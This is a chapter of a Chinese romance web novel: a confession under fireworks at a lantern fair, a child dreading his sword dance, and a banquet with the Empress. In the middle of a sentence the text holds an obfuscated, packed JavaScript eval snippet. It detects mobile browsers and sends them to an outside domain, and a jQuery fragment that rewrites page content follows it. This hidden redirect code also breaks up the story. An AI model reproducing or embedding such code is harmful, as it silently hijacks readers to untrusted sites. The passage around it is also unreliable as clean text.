周遭鼎沸的人声、斑斓的灯火,倏忽间褪成模糊的背景。
知微僵在原地,目送祝隶稷远走。
“知微!”
熟悉的声音穿透人群,带着显而易见的急切。
祝明煜拨开人群,大步冲到近前,额角还挂着细密的汗珠。
“人太多,耽误了时间。”他解释道。
“怎么了,脸色这么白。”祝明煜浓眉紧拧,伸手探她额头,“少昭那丫头呢,跟踪丢了?”
祝明煜还是没变,关切起来絮絮叨叨。
知微猛地吸了口气,夜风灌入肺腑,激得她从怅然中清醒。
“祝明煜。”知微开口,声音意外地平直,隐约带有些沉重,“我要留在京城,入宫做御膳女官。”
祝明煜脸上的神情瞬间明朗,像被点燃的火炬:“真的?太好了!”
他几乎是雀跃地低呼一声,下意识想去抓知微的手,又猛地顿住,麦色的脸上浮起一层薄红。
他搓了搓指尖:“我爹……陛下登基,宫里正缺得力的人手,你的手艺,定能脱颖而出。”
祝明煜语速飞快,那蓬勃的喜悦与热情几乎要满溢出来。
可这热情,烫得知微心头发慌。
她看着他眉飞色舞的样子,打断祝明煜,疲惫道:“我有些累了。”
祝明煜的面上的欢欣骤然僵住,他怔怔地看着知微,灯影罩住的那双丹凤眼里,此刻蒙着一层黯淡的灰。
那不是累,是种更深的东西,祝明煜说不出来。
“你……”他喉结一升一降,声音也跟着沉了下来,“你若是不愿,也不必勉强。”
“你若是不喜欢,想去哪都行,在京城,在岭南,在天涯海角。开你的食肆,你想开多大开多大,也不要害怕地方势力,我说过护着你,便一定护得住!天塌下来,有我顶着!”
祝明煜语气斩钉截铁,知微盯着他,颇有种“老子拳头大,老子说了算”的憨直劲儿,这话说得大,却又发自真心,仿佛只要她点个头,祝明煜便真能立刻为她顶起一片天。
知微看着他这副模样,心头那点沉郁的冰,到底被他这团火烤化了一丝缝隙。
她扯了扯嘴角,牵出一个极淡的弧度,带着点戏谑,又藏着更深的试探:“说这话干嘛,就为着岭南那点子‘革命战友情’,值得你这么豁出去?为我顶天,连命都不要了?”
“可先说好,我是不会为你顶天的。”知微笑。
“那又如何?”祝明煜打断知微的话,向前迈了半步,表情坚定庄重。
知微敛了笑。
祝明煜又向前迈步,手攀上知微的小臂。
两人距离瞬间拉近,近得能看清彼此眼中跳跃的灯火。
“知微。”祝明煜轻唤她的名字,声音轻柔,像浸了温热的酒,“你觉得……我为何愿意为你顶天?”
“或者换句话。”
“这辈子,你可以为理想、为自由拼命,而我亦然,我要为谁舍生,又愿为谁赴死,你竟,浑然无知觉吗?”
话语铿然。
祝明煜深邃的眼牢牢锁住知微,眼底翻涌着清晰可见的热意。
知微想向后撤,可那目光太烫,太直接,像一道灼热的探照灯,想窥视进她心底最深、最柔、最隐私之处,想直直照进她心底那片荒芜,让她无处遁形。
到底什么是爱。
是需要,还是被需要。
知微不知道,无论是前世,还是今生,她从没被坚定选择过。
毕竟她丑陋、泼辣、野蛮,有时还做事不过脑,仗着点小聪明便引以为傲,为多少人带去过麻烦。
可,即算是这样的她,是从前世起便遭人嫌恶的她,祝明煜也愿意义无反顾地选择、追随着吗?
是她吗。居然是她吗。
她原是这样的存在?
知微默然。
轰——!
一声巨响撕裂了夜空。
无数道璀璨的烟花破空而起,流光直窜天幕,在墨黑的天际轰然绽放。
漫天星雨,倾泻而下。
无数燃烧的花火被天公抖落,泼洒向人间,织成一张光华璀璨的巨幕。
赤金、流银、碧蓝、绛紫……绚烂的光映亮了半边天宇,也映亮了桥下流水、桥上行人惊羡的脸庞。
知微抬眸,视线聚焦。
在这震耳欲聋的辉煌与喧嚣的中心,祝明煜仿佛置身于另一个无声的结界里。
他和人群隔开,光雨在他脸上流转、明灭,勾勒出他微酡的面颊。
知微深吸一口气,馥郁的火药味混着若有似无的柴火香,一起涌入肺腑。
烟火照亮的短暂白昼里,震耳欲聋的轰鸣间隙,祝明煜的声音清晰地穿透喧嚣,落在她耳畔。
“我从未觉得你渺小、粗蛮。岭南的晏掌柜迷人,将来宫里的晏尚食,也必定光芒万丈。”
有人折服于你的皮囊,有人赞叹于你的厨技,有人执着于你的潜能。
可但在我这里,你只是知微,也只用做知微。
“我喜欢的,就是这样的你。想护着一辈子的,也是这样的你。”
漫天烟火明明灭灭,唯独最后这句话,轻得像叹息,却又重得能直砸在她的心上。
——
喧嚣被厚重的府门隔绝在外,灯会仿佛已是上辈子的事。
知微踏进程玊芝精心安排的厢房,脚步有些虚浮。
指尖仿佛还残留着烟火灼烧空气的余温,更残留着祝明煜那滚烫目光烙下的触感。
“阿姐!”少昭像只雀跃的兔子,从窗边的软榻上弹起来,脸上红晕未消,眼睛亮得惊人,“你回来啦!灯市可太热闹了!孙大哥他……”
少昭语无伦次,脸颊飞红,显然还沉浸在方才的约会里,整个人都浸在一种甜腻腻、晕陶陶的气息里。
知微看着少昭这副情窦初开的模样,有一刻竟在她的脸上看到了自己。
耳朵猛然着火,唇间仿佛还有温热。
知微眨眼,滑倒在榻边。
“阿姐,阿姐,你说我要不要向孙大哥表白啊!其实我今天晚上原想请他喝个茶,可他只送我到正门口,连门槛都不肯多迈一步……”少昭还在耳畔叽喳,知微却早已听不见,意识不知云游到了哪个远方。
“呜哇——!”
直到一声惊天动地的哭嚎,厢房的门被猛地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091342|178576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
撞开。
一个小炮弹似的身影裹挟着委屈和恐惧冲了进来,一头扎进知微的怀抱,她才缓缓回神。
是祝晟。
小家伙哭得上气不接下气,小脸憋得通红,手里死死攥着把特制的小木剑,眼泪鼻涕糊了一脸。
“不练了!晟儿不要练剑了!手好痛!呜呜呜,知微姐姐,你快救救晟儿吧……”
程玊芝跟在他身后进来,一脸无奈:“知微姑娘,给您添麻烦了。”
她身后的蒋嬷嬷上前,试图扒开祝晟缠着知微的手:“小祖宗,莫哭了,明日皇后娘娘亲临,还指望着您献上一段剑舞,让你的阿奶高兴呢。”
“您不是说,许久未见了,最想看到阿奶对您笑笑吗?”
“还有太子殿下,也会为你的剑舞骄傲的喔。”嬷嬷的声音轻柔,祝晟却不吃这番哄。
“爹爹……”祝晟抽噎着,抬起泪眼朦胧的脸,小嘴委屈地扁着,“爹爹怎会为我骄傲,刚刚在庭院中,他就只远远看了一眼,说我‘动作软绵无力’。”
“呜……可晟儿从早练习到晚,连手都抬不起来了。”
“母亲,爹爹是不是、是不是讨厌晟儿了?”那小心翼翼又无比渴望得到肯定的眼神,看得人心头发酸。
知微和少昭都沉默了。
程玊芝温婉娴静的面容也第一次露出破绽,她强牵出一个体面的笑:“怎么会呢,爹爹、爹爹他可是很喜欢晟儿的。”
程玊芝使力,将祝晟从知微的身上拽了下来:“知微姑娘,实在抱歉。”
几人带着哭喊委屈的祝晟离开。
知微与少昭相视无言。
谁能想象到,连带着小小的孩童,都暗藏着这样一份沉重的期盼,背负着一份不属于他这个年纪的讨好与惶恐。
——
祝府别院的花厅,灯火通明,熏香馥郁。
宴席已开,精致得如同艺术品的菜肴流水般呈上。皇后沈丹曦端坐在上首。
岁月似乎格外优待这位曾叱咤疆场的女将军。
绛紫色宫装,发髻高挽,只簪一支通体莹润的羊脂白玉凤簪。眉宇间依稀可见当年横枪立马的英气。
岁月经年,如今沉淀下来,作为皇后,她多了分不怒自威的雍容与沉静。
沈丹曦目光温和地扫过席间众人,在祝明煜和侍立在他身边的知微身上略作停留,嘴角蓄着股不知名的笑。
祝隶稷坐在她下首,神色是一贯的淡漠,偶尔与身为皇后的母亲低语两句,姿态恭敬却疏离。
程玊芝坐在他身侧,仪态无可挑剔,眼神却时不时飘向埋头小口吃着点心的祝晟,带着隐忧。
席间衣香鬓影,环佩叮当,空气里浮动着名贵香料和珍馐美食混合的气息。
知微穿着新送来的春装,料子细软,却像一层无形的枷锁,勒得她浑身不自在。
知微垂手,努力将呼吸放轻。
有温暖的力量握住知微。
知微向下看,祝明煜牵住她指尖,目光中带着不加掩饰的关切。
不就是皇后吗,不就是,未来、可能的婆婆吗?
不必担忧。
祝明煜的眼神鼓舞道。